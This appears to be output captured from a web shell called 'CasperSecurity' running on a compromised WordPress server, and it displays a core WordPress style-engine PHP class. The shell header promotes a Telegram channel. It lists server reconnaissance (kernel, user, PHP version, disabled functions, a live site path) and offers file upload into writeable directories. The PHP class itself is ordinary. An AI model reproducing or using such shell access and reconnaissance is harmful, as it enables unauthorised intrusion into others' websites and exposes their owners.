T.ME/BIBIL_0DAY
CasperSecurity


Server : nginx
System : Linux pod-400853 6.8.0-1029-gke #33-Ubuntu SMP Wed Jul 16 02:43:55 UTC 2025 x86_64
User : fpm200040 ( 200040)
PHP Version : 7.4.33.11
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
Directory :  /nas/content/live/gareth1118/wp-includes/style-engine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /nas/content/live/gareth1118/wp-includes/style-engine/class-wp-style-engine-css-rule.php
<?php
/**
 * Style Engine: WP_Style_Engine_CSS_Rule class
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */

/**
 * Core class used for style engine CSS rules.
 *
 * Holds, sanitizes, processes, and prints CSS declarations for the style engine.
 *
 * @since 6.1.0
 */
#[AllowDynamicProperties]
class WP_Style_Engine_CSS_Rule {

	/**
	 * The selector.
	 *
	 * @since 6.1.0
	 * @var string
	 */
	protected $selector;

	/**
	 * The selector declarations.
	 *
	 * Contains a WP_Style_Engine_CSS_Declarations object.
	 *
	 * @since 6.1.0
	 * @var WP_Style_Engine_CSS_Declarations
	 */
	protected $declarations;

	/**
	 * A parent CSS selector in the case of nested CSS, or a CSS nested @rule,
	 * such as `@media (min-width: 80rem)` or `@layer module`.
	 *
	 * @since 6.6.0
	 * @var string
	 */
	protected $rules_group;

	/**
	 * Constructor.
	 *
	 * @since 6.1.0
	 * @since 6.6.0 Added the `$rules_group` parameter.
	 *
	 * @param string                                    $selector     Optional. The CSS selector. Default empty string.
	 * @param string[]|WP_Style_Engine_CSS_Declarations $declarations Optional. An associative array of CSS definitions,
	 *                                                                e.g. `array( "$property" => "$value", "$property" => "$value" )`,
	 *                                                                or a WP_Style_Engine_CSS_Declarations object.
	 *                                                                Default empty array.
	 * @param string                                    $rules_group  A parent CSS selector in the case of nested CSS, or a CSS nested @rule,
	 *                                                                such as `@media (min-width: 80rem)` or `@layer module`.
	 */
	public function __construct( $selector = '', $declarations = array(), $rules_group = '' ) {
		$this->set_selector( $selector );
		$this->add_declarations( $declarations );
		$this->set_rules_group( $rules_group );
	}

	/**
	 * Sets the selector.
	 *
	 * @since 6.1.0
	 *
	 * @param string $selector The CSS selector.
	 * @return WP_Style_Engine_CSS_Rule Returns the object to allow chaining of methods.
	 */
	public function set_selector( $selector ) {
		$this->selector = $selector;
		return $this;
	}

	/**
	 * Sets the declarations.
	 *
	 * @since 6.1.0
	 *
	 * @param string[]|WP_Style_Engine_CSS_Declarations $declarations An array of declarations (property => value pairs),
	 *                                                                or a WP_Style_Engine_CSS_Declarations object.
	 * @return WP_Style_Engine_CSS_Rule Returns the object to allow chaining of methods.
	 */
	public function add_declarations( $declarations ) {
		$is_declarations_object = ! is_array( $declarations );
		$declarations_array     = $is_declarations_object ? $declarations->get_declarations() : $declarations;

		if ( null === $this->declarations ) {
			if ( $is_declarations_object ) {
				$this->declarations = $declarations;
				return $this;
			}
			$this->declarations = new WP_Style_Engine_CSS_Declarations( $declarations_array );
		}
		$this->declarations->add_declarations( $declarations_array );

		return $this;
	}

	/**
	 * Sets the rules group.
	 *
	 * @since 6.6.0
	 *
	 * @param string $rules_group A parent CSS selector in the case of nested CSS, or a CSS nested @rule,
	 *                            such as `@media (min-width: 80rem)` or `@layer module`.
	 * @return WP_Style_Engine_CSS_Rule Returns the object to allow chaining of methods.
	 */
	public function set_rules_group( $rules_group ) {
		$this->rules_group = $rules_group;
		return $this;
	}

	/**
	 * Gets the rules group.
	 *
	 * @since 6.6.0
	 *
	 * @return string
	 */
	public function get_rules_group() {
		return $this->rules_group;
	}

	/**
	 * Gets the declarations object.
	 *
	 * @since 6.1.0
	 *
	 * @return WP_Style_Engine_CSS_Declarations The declarations object.
	 */
	public function get_declarations() {
		return $this->declarations;
	}

	/**
	 * Gets the full selector.
	 *
	 * @since 6.1.0
	 *
	 * @return string
	 */
	public function get_selector() {
		return $this->selector;
	}

	/**
	 * Gets the CSS.
	 *
	 * @since 6.1.0
	 * @since 6.6.0 Added support for nested CSS with rules groups.
	 *
	 * @param bool $should_prettify Optional. Whether to add spacing, new lines and indents.
	 *                              Default false.
	 * @param int  $indent_count    Optional. The number of tab indents to apply to the rule.
	 *                              Applies if `prettify` is `true`. Default 0.
	 * @return string
	 */
	public function get_css( $should_prettify = false, $indent_count = 0 ) {
		$rule_indent                = $should_prettify ? str_repeat( "\t", $indent_count ) : '';
		$nested_rule_indent         = $should_prettify ? str_repeat( "\t", $indent_count + 1 ) : '';
		$declarations_indent        = $should_prettify ? $indent_count + 1 : 0;
		$nested_declarations_indent = $should_prettify ? $indent_count + 2 : 0;
		$suffix                     = $should_prettify ? "\n" : '';
		$spacer                     = $should_prettify ? ' ' : '';
		// Trims any multiple selectors strings.
		$selector         = $should_prettify ? implode( ',', array_map( 'trim', explode( ',', $this->get_selector() ) ) ) : $this->get_selector();
		$selector         = $should_prettify ? str_replace( array( ',' ), ",\n", $selector ) : $selector;
		$rules_group      = $this->get_rules_group();
		$has_rules_group  = ! empty( $rules_group );
		$css_declarations = $this->declarations->get_declarations_string( $should_prettify, $has_rules_group ? $nested_declarations_indent : $declarations_indent );

		if ( empty( $css_declarations ) ) {
			return '';
		}

		if ( $has_rules_group ) {
			$selector = "{$rule_indent}{$rules_group}{$spacer}{{$suffix}{$nested_rule_indent}{$selector}{$spacer}{{$suffix}{$css_declarations}{$suffix}{$nested_rule_indent}}{$suffix}{$rule_indent}}";
			return $selector;
		}

		return "{$rule_indent}{$selector}{$spacer}{{$suffix}{$css_declarations}{$suffix}{$rule_indent}}";
	}
}

CasperSecurity Mini